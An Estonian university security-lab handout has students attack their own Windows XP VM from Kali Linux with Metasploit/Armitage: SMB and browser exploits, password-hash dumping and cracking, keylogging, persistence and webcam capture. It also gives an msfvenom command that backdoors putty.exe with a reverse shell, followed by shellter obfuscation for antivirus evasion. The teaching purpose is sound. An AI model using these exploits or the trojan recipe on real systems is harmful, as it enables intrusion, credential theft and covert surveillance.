Praktikum 12 - Turvaaukude ärakasutamine
Käesolevas praktikumis vaatleme lähemalt, kuidas pahalane on võimeline ohvri arvuti uuendamata tarkvara turvanõrkusi ära kasutama. Selleks kasutame Metasploit framework nimelist populaarset ründetarkvara koos Armitage kasutajaliidesega ning ohvriks eelmisest praktikumist tuttavat Windows XP SP3 virtuaalmasinat. Kiirema keskkonna seadistamise eesmärgil kasutame Kali Linux virtuaalmasinat, mille Virtualbox versiooni saame alla laadida Offensive Security veebilehelt.
Kali Linux ja metasploit seadistamine
Alustuseks laadime alla vajaliku tarkvara:
- Offensive Security lehel https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/#1572305786534-030ce714-cc3b otsige halli
+
märki kirjagaKali Linux Virtualbox images
ning avanenud nimekirjast valigeKali Linux VirtualBox 32-Bit
(otselink: https://images.kali.org/virtual-images/kali-linux-2021.1-vbox-i386.ova ). - Eelmisest praktikumist võiks teil juba olemas olla
Andmeturve_XP_SP3.ova
https://owncloud.ut.ee/owncloud/index.php/s/CrtBMvRouATSgz8 lehelt, kus allalaadimise parooliks sisestage aine koodLTAT.06.002
. - Kõvaketta ruumi kokkuhoiu huvides võite
kustutada
eelnevates praktikumides kasutusel olnud andmeturve virtuaalmasinad:Andmeturve Linux Mint kloon
jaAndmeturve Windows 10
. Järgnevates praktikumides me neid enam ei vaja, sest mugavam on uued virtuaalmasinad importida, kui olemasolevate seadeid ühtlustada ning neid tööle saada. Loomulikult eeldab kustutamine, et olete varasemad praktikumid edukalt sooritanud ja esitanud.
Järgnevalt importige vaikeseadetega kali-linux-2021.1-vbox-i386.ova
(kasutaja: kali
, parool: kali
) ja Andmeturve_XP_SP3.ova
virtuaalmasinad (kui teil on praktikumist 11 Andmeturve_XP_SP3.ova
juba olemas siis pole vaja uuesti importida). Enne virtuaalmasinate käivitamist on mõistlik igaks juhuks neile genereerida uued MAC aadressid Virtualbox
-> parem klahv soovitud virtuaalmasina nimel -> Settings
-> Network
-> Advanced
-> MAC Address
rea lõpus refresh
nupp (Kui rida on hall, st ei luba genereerida siis veendu, et su virtuaalmasin on väljalülitatud olekus.)
Nüüd käivitage Kali Linux
virtuaalmasin ja ekraani dünaamiliseks suuruse muutmiseks on vaja paigaldada Devices
-> Insert guest additions CD image
-> ja käivitada käsurealt sudo sh VBoxLinuxAdditions.run
(CD kaustas) ning reboot
Pärast taaskäivitamist peaks töötama ekraani suuruse muutmine ja nüüd paigaldage vajalik tarkvara:
sudo apt update sudo apt install kali-tools-exploitation sudo systemctl start postgresql sudo msfdb init sudo armitage
Armitage
käivitamise ajal vajutage Connect
ja Yes
(RPC Server) küsimustele. Nüüd peaks teil olema avatud Armitage kasutajaliides. Sulgege Armitage
Edukaks võrguründeks on meil vaja, et meie ohver ja ründaja saaksid omavahel suhelda, selleks seadistame mõlemad virtuaalmasinad Kali Linux
ja Windows XP
kasutama bridge
mode võrguühendust. Veendu, et mõlemad virtuaalmasinad on saanud endale uued IP-aadressid teie kodus kasutatavast alamvõrgus (enamasti 192.168.1.124 vms, 10.0.2.15
on NAT aadress ja ei ole sobiv. Tehke virtuaalmasinale taaskäivitus pärast mida on loodetavasti virtuaalmasinal siiski õige IP-aadress.) Linuxis näeb IP-aadressi ip a
käsuga ja Windowsis cmd
käsureal ipconfig
sisestades.
Windows XP
masinas tuleb lubada Start
-> Control Panel
-> vasakul Switch to Classic View
-> Windows Firewall
-> General
-> Off (not recommended)
Windows XP
-> Start
-> Control Panel
-> Network Connections
-> parem hiireklahv Local Area Connection
-> Properties
-> luba File and Printer Sharing for Microsoft Networks
-> OK
Windows XP
-> Start
-> Control Panel
-> System
-> Remote
-> luba Allow users to connect remotely to this computer
-> OK
Veendumaks, et meie Kali Linux saab ühendust Windows XP masinaga sisestage nmap -sV 192.168.X.Y
, kus X
ja Y
asendage enda IP-aadressiga. Väljundis peab kindlasti olema nähtav port 445/tcp open microsoft-ds
, kui ei ole kontrollige eelnevaid tegevusi kuni on nähtav või võtke ühendust aine õppejõuga. Hetkel parim ja kiireim lahendus kui Windows XP virtuaalmasin käsureal netstat -an
käsu peale ka ei näita port 445 aktiivsena Windows XP virtuaalmasin uuesti importida Virtualboxi. Eelnev mure tuleneb asjaolust, et praktikumis 11 mõni pahalastest on süsteemi teinud muudatusi, mis mõjutab Windows XP normaalset toimimist taustal.
Armitage
Nüüd on meil ohvriks olev Windows XP
virtuaalmasin ja Kali Linux seadistatud omavahel suhtlema ning ohvri arvutis on vähendatud turvalisust, et ründed võimalikud oleksid.
Käivitame uuesti armitage
tarkvara järgnevate käskudega
sudo systemctl start postgresql sudo armitage
Alustame rünnakut võrgus skännimisega (ohvri leidmisega).
Armitage
-> rippmenüü Hosts
-> Nmap Scan
-> Quick Scan (OS detect)
-> Sisestage enda alamvõrgu aadress näiteks 192.168.1.0/24
-> OK
Oodake kuni 1 minut pärast mida peaks ohvri virtuaalmasin (ja mõned muud veel) nähtavale ilmuma.
Nüüd uurime ohvrit täpsemalt tehes talle põhjaliku avatud portide otsimise Armitage
-> rippmenüü Hosts
-> Nmap Scan
-> Intense Scan, no ping
-> Sisestage Windows XP
(ohvri) IP-aadress
näiteks 192.168.1.175
-> OK
-> jälgige all väljundit ja uurige mida tuvastati ohvri kohta. Kuigi meie näites on ka ohver meie kontrolli all, siis enamik päriselulistes rünnakutes ei ole ohvrist kuigi palju teada ja info kogumine ning kasutatava tarkvara tuvastamine on eelduseks hilisemaks edukaks ründeks.
Nüüd on meil teada ohvri arvuti IP-aadress
, avatud TCP
pordid 137
, 139
, 445
ja 3389
ning operatsioonisüsteem Windows XP SP3
. Järgnevalt peame Interneti avarustest leidma sobiva exploit ehk haavatavuse ja lootma, et sellele on ka näidiskood kuidas rünnata olemas. Näiteks Exploit Database
nimeline leht võimaldab suhteliselt mugavalt filtreerida vastuseid meid huvitavate portide põhjal https://www.exploit-db.com/?type=remote&platform=windows&port=445
Nüüd peaksime hakkama vastuseid detailselt läbi analüüsima, kuid lihtsuse huvides annavad siinkohal õppejõud teile vihje, et MS08-067
ja MS17_010
on haavatavused, mis meile huvi pakuvad.
Järgnevalt proovimegi armitage
tarkvaras vastavaid ründeid ära kasutada, selleks kirjutage vasakul olevasse otsingu aknasse ms08
ja/või leidke nimekirjast exploit/windows/smb/ms08_067_netapi
käivitamiseks võite lohistada vastava exploit sobiva arvuti peale armitage
tarkvaras (või teha topeltklikk ning sisestage käsitsi õige RHOST
IP-aadress). Nüüd vajutage Launch
nuppu ja jälgige väljundit alumises mustas kastis. Eduka ründe korral muutub ohvri arvuti punaseks ning välgujoontega ümbritsetuks.
Palju õnne, olete edukalt ohvri arvutis. Järgnevalt vaatame kuidas endale küsida täiendavaid õigusi (enamasti saate esialgu ligi tavaõigustega) ning mida muud huvitavat me ohvri arvutis teha saame. Nüüd minge ohvri arvuti peale ja tehke seal parem hiireklahv -> Meterpreter
-> Access
-> Escalate Priviledges
, mille tulemusena avaneb vasakaul nn local
ehk kohalikud ründed õiguste suurendamiseks. Kuna meil juba on süsteemi õigused siis hetkel me õiguste omandamist täpsemalt ei vaata.
Järgnevalt vaatame kuidas ligi pääseda kasutaja paroolidele, selleks parem hiireklahv ohvri arvutil -> Meterpreter
-> Access
-> Dump Hashes
-> lsass method
-> jälgi väljundit all aknas.
Nüüd peame muutma parooli räsid inimloetavale kujule, selleks tulevad meile appi veebilehed, mis võimaldavad levinud räsisid kontrollida nende andmebaasis olevate vastu ning kui ei leidu, siis väikese "tasu" eest need meile lahti murda. Meie parool on suhteliselt lihtne ja leidke https://crackstation.net/ lehte või mõnda sarnast kasutades, mis on Andmeturve Windows XP
virtuaalmasina kasutaja Administrator
parool?
Ülesanne 1: Mis on Andmeturve Windows XP
Administrator
kasutaja parool? (mitte esitada parooli räsi ja mitte esitada LM
puhul osaliselt sobivat Partial match vastust)
Järgnevalt vaatame kuidas ligi pääseda kasutaja sisestatud klahvivajutustele (näiteks veebilehitsejas sisestatud paroolid), selleks parem hiireklahv ohvri arvutil -> Meterpreter
-> Explore
-> Log Keystrokes
-> jälgi väljundit all aknas (jätke aken avatuks).
Nüüd minge Windows XP
arvutisse ja külastage veebilehitsejaga aadressi https://andmeturve-lab.appspot.com/
ja sisestage väljadele oma Eesnimi
, Perenimi
ja sõnum
. Vaata näidist allpool.
Ülesanne 2: Esitage Kali Linux
Armitage
tarkvarast täisekraanivaade, kus on selgelt näha teie ohver
(punane), Log Keystrokes
edukas rünne ja teie Eesnimi
, Perenimi
Tutvuge ka teiste valikutega mida ohvri arvutiga saate teha. Mõned millele õppejõud soovitavad kindlasti proovida:
Merpreter
->Access
->Persist
(järgmine kord paneb ennast ise tööle),Pass Session
(pahalase seansi üle viimine teise protsessi peale näiteks veebilehitsejast explorer.exe vms).Merpreter
->Explore
->Browse Files
(võimaldab mugavalt faile vaadata),Show Processes
(tutvu käimasolevate protsessidega (näiteks kui otsid võimalusi õiguste eskaleerimiseks),Screenshot
(ekraanipilt),Webcam Shot
(nö kahjunõude rünnak, ma tean küll mis sa seal arvuti ees teed)Meterpreter
->Pivoting
->Setup
(Võimaldab kasutada ohvrit nö lülina ahelas, et järgmiste ohvriteni pääseda. Kasutatakse palju veebiserveritest edasi sisevõrku pääsemiseks). Võimaldab tehanmap
ja muid tegevusipivot
arvutist lähtuvalt.
Katkestame nüüd aktiivse meterpreter
seansi ja katsetame veel mõnda teist rünnet.
- parem hiireklahv ohvri arvutil ->
Merpreter
->Kill
(katkestab aktiivse seansi ohvriga)
Katsetage nüüd ohvri peal uuesti rünnakut (tehke iseseisvalt, peaks õnnestuma rünnak):
ms17_010_psexec
Katkestame nüüd aktiivse meterpreter
seansi ja katsetame mõnda teist rünnet veel.
- parem hiireklahv ohvri arvutil ->
Meterpreter
->Kill
(katkestab aktiivse seansi ohvriga)
Testime kas ohver on haavatav ja katsetame uuesti rünnakut:
auxiliary/scanner/rdp/cve_2019_0708_bluekeep exploit/windows/rdp/cve_2019_0708_bluekeep_rce (Targets: 2 => Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)
Ei õnnestu ohvrit üle võtta. Nagu nimigi ütleb sobib pigem Windows 7 ründamiseks, kuigi internetis on leitav modifikatsioon mis väidetavalt suudab edukalt ka Windows XP rünnata, mis tegelikult on vastavale ründele ka haavatav. Ei hakka siinkohal katsetama.
Mitte kõik ründed ei võta ohvrit üle näiteks järgmine rünnak võimaldab arvutile DOS (Denial Of Service) meie puhul restart
teha:
auxiliary/dos/windows/rdp/ms12_020_maxchannelids
Peaks sundima Windows XP arvuti restarti
Ründame aegunud tarkvara
Kui kasutaja on turvateadlik ja omab uuendatud tarkvara, koos tulemüüri ja antiviirusega on päriselus suhteliselt raske leida arvuteid, mis oleksid haavatavad. Leidub, aga valdav enamik on siiski täna juba turvatud. Seega vaatame olukorda kus eesmärgiks on rünnata kasutajat külastama mingit veebilehte, mille aadress edastatakse e-mailiga (või mõnda muudmoodi). Enne edasi minemist katkestage kõik aktiivsed meterpreter
seansid.
Vahetage Windows XP
virtuaalmasina võrguadapteri tüübiks tagasi NAT
IP-aadress 10.0.2.15
illustreerimaks kuidas järgmine rünnak töötab ka olukorras, kus teil puudub otsene ligipääs ohvri arvutile.
Otsige armitage
tegevuste menüüst üles pahalane nimega ms10_002_aurora
ja tehke temal topeltklõps. Avanenud menüüs jätke vaikeseaded ja vajutage Launch
ms10_002_aurora
Nüüd otsige alumises aknas rida Local IP: http://192.168.1.242:8080/TRN3iK2JR5w
on teil arvatavasti veidi erinev ning kopeerige see mälusse.
Avage Windows XP
veebilehitseja Internet Explorer
(mitte: FireFox, mis pole haavatav) ning külastage eelnevalt viidatud aadressi Internet Explorer veebilehitsega. Nüüd peaks Internet Explorer
hanguma ja armitages
rünnaku aknas tulema kiri Meterpreter session 4 opened ...
(eelnevas väljundis sessiooni number on teil erinev arvatavasti). Kui esimesel korral ei õnnestu sundige Internet Explorer
sulguma ja avage aadress uuesti. Ohver peaks punaseks värvuma armitage
tarkvaras.
Ülesanne 3: Esitage Kali Linux
Armitage
tarkvarast täisekraanivaade, kus on selgelt näha teie ohver
(punane), ms10_002_aurora
edukas rünne koos kirjaga Meterpreter session 4 opened ...
.
Näidislahendus (Windows XP aken ei ole vajalik vaid teile illustreerimiseks).
Varjatud funktsionaalsusega faili loomine
Eelnevalt vaatasime kuidas ära kasutada aegunud tarkvaras esinevaid levinud turvaauke. Järgnevalt läheme aga sammu kaugemale ja vaatame kuidas luua enda pahavara, mis oleks väikeste modifikatsioonidega võimeline nakatama ka kaasaegset uuendatud Windows 10 arvutit.
Keskkond:
- Ründaja
Kali Linux
32-bit, Networkbridge
mode - Ohver
Windows XP SP3
, NetworkNAT
mode
Pahalase loomine
msfvenom
on tarkvara, mis võimaldab luua peidetud pahalast ohvri nakatumiseks. Täpsemalt peidab ta olemasoleva või uue tarkvara sisse funktsionaalsuse, mis kasutab nn helista koju funktsionaalsust, kus pärast käivitamist ohvri (kasutaja) poolt võtab ta ühendust metasploit
serveriga. Rohkem infot https://www.offensive-security.com/metasploit-unleashed/msfvenom/ . Enne msfvenom
kasutamist peaksime alla laadima tarkvara, mida kasutada viiruse sisendiks (nö programmi nähtav osa).
Selleks mine Kali Linux
iga internetti ja laadi alla 32 bit
putty.exe
programm. (Otselink https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe )
Järgnev käsk võtab sisendiks putty.exe
ning liidab sellega meterpreter
reverse_tcp ühenduse loomiseks vajalikud bitid ja baidid. Kindlasti peate järgmises käsus ära muutma LHOST=192.168.1.242
parameetri, mis vastaks teie Kali Linux IP-aadressile. Samuti peab LPORT=20123
parameetris pordi kolm viimast numbrit vastama teie matriklinumbri kolmele viimasele numbrile. (See on vajalik, et meil oleks võimalik tuvastada hiljem, et lahenduse pildid kuuluvad teile.)
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f exe LHOST=192.168.1.242 LPORT=20123 -x putty.exe -k -o /home/kali/putty-fixed.exe
Nüüd on meil olemas putty
tarkvarast modifitseeritud versioon, mis iga kord kui seda käima panna üritab taustal ühendust võtta käsu sisendiks olnud IP-aadressi ja pordiga. msfvenom
loodud modifitseeringud on aga juba laialt levinud ja enamik viirusetõrje tarkvarasid on võimelised seda kiiresti tuvastama. Järgnevalt vaatame shellter
nimelist tarkvara, mis üritab loodavat programmikoodi hägustada ja sellega loodetavasti osad viirusetõrje tarkvarad ära petta. Tõsi mitte küll kuigi edukalt enam aastal 2020, kuid sarnased tasulised või vähemlevinud tarkvarad siiski seda tihti suudavad. Niipea kui koodi hägustav tarkvara saab populaarseks või hakkab rohkem levima suudavad ka viirusetõrje tarkvarad selle tuvastamise ära õppida. Lisaks kasutavad mitmed viirusetõrjed täna koodi käivitamist isoleeritud docker
või sarnastes keskkondades, kus nad saavad pahalase käitumist paremini uurida kui ainult programmikoodi analüüsides oleks võimalik. Vastavat funktsionaalsust vaatame veidi hiljem https://virustotal.com lehelt.
sudo apt install shellter sudo shellter
Sisesta vastused nagu näidatud järgneval pildil. NB! Pordinumbri kolm viimast kohta
peavad vastama teie matriklinumbri kolmele viimasele
kohale. Näiteks 20123
juures 123
oleksid õppejõu matriklinumbri kolm viimast kohta.
Testime pahalast
Peame nüüd kuidagi pahalase toimetama ohvri arvutisse. Seda saaks teha e-mailiga või muudmoodi veenda kasutajat avama meie loodud faili. Käesolevas näites lõime *.exe faili, kuid sarnaseid näiteid on ka PDF
, DOC
ja teiste levinud failitüüpide korral (igaüks ründab nõrkusi vastavas tarkvaras). Toimetame pahalase Windows XP
arvutisse hetkel üle ssh ühenduse, selleks lubame ssh
ühendused Kali Linuxis
sudo service ssh start sudo service ssh status
Windows XP
masinas läheme internetti ja laadime alla Bitvise ssh client
tarkvara https://www.bitvise.com/ssh-client-download ning paigaldame selle.
Nüüd loome ssh ühenduse Kali Linux'iga ja kopeerime Downloads
kaustast modifitseeritud putty.exe
ja putty-fixed.exe
failid Windows XP
Desktop
ile.
Nüüd peame seadistama Kali Linux
pahalast kuulama.
Käivitame uuesti armitage
tarkvara järgnevate käskudega
sudo systemctl start postgresql sudo armitage
Rippmenüüst Armitage
-> Listeners
-> Reverse (wait for)
-> Create listener, Port: 20XXX
, kus XXX
on sinu matrikli kolm viimast numbrit ehk LPORT
, mille seadistasid shellter
käivitades. Type: meterpreter
-> Start Listener
Nüüd võime Windows XP Desktopilt käivitada putty.exe
, avaneb tavaline putty
programm ning kasutajale ei viita miskit, et taustal käib pahalane. Kui aga vaatame armitage
tarkvarasse, siis peaksime avastama, et vahepeal on meiega ühendust võtnud ohvri arvuti.
- Ülesanne 4: Esita ekraanivaade
armitage
tarkvarast kus on näha nakatunud ohver ja meterpreter seansi info (LPORT
parameetri väärtus). Näidislahendus.
Katkestage ühendus ja proovige, ka putty-fixed.exe
nimelist pahavara. Peaks töötama samuti edukalt, kuna meie Windows XP ei oma aktiivset viirusetõrjet (samas õppejõu arvutis katkes ühendus 10s jooksul).
Uurime nüüd lähemalt mida, arvavad erinevad viirusetõrje tarkvarad meie loodud pahavarast. Selleks laadige tarkvara üles aadressile https://virustotal.com
teie modifitseeritud putty.exe
versioon ja oodake paar minutit millal veebileht lõpetab faili analüüsi. Tutvuge tulemustega.
- Ülesanne 5: Esitage ekraanivaade
virustotal.com
veebilehelBEHAVIOR
vahelest, kus on näha teie pahalaseNetwork Communication
juures sinu matriklinumbri kolmele viimasele numbrile vastav pordinumber.
Esitada Praktikum12:
Praktikumi ülesande lahendamine annab neli punkti ja esitamiseks on umbes kaks nädalat alates praktikumi toimumisajast ( kuni 12. mai tähtajani).
- Ülesanne 1: Mis on
Andmeturve Windows XP
Administrator
kasutaja parool? (mitte esitada parooli räsi ja mitte esitadaLM
puhul osaliselt sobivat Partial match vastust) - 0.5p - Ülesanne 2: Esitage
Kali Linux
Armitage
tarkvarasttäisekraanivaade
, kus on selgelt näha teieohver
(punane),Log Keystrokes
edukas rünne ja teieEesnimi
,Perenimi
- 1p - Ülesanne 3: Esitage
Kali Linux
Armitage
tarkvarasttäisekraanivaade
, kus on selgelt näha teieohver
(punane),ms10_002_aurora
edukas rünne koos kirjagaMeterpreter session 4 opened ...
. - 1p - Ülesanne 4: Esita
ekraanivaade
armitage
tarkvarast kus on näha nakatunud ohver ja meterpreter seansi info (LPORT
parameetri väärtus, mis vastab teie matriklinumbri viimastele kohtadele). - 1p - Ülesanne 5: Esitage ekraanivaade
virustotal.com
veebilehelBEHAVIOR
vahelest, kus on näha teie pahalaseNetwork Communication
juures sinu matriklinumbri kolmele viimasele numbrile vastav pordinumber. - 0.5p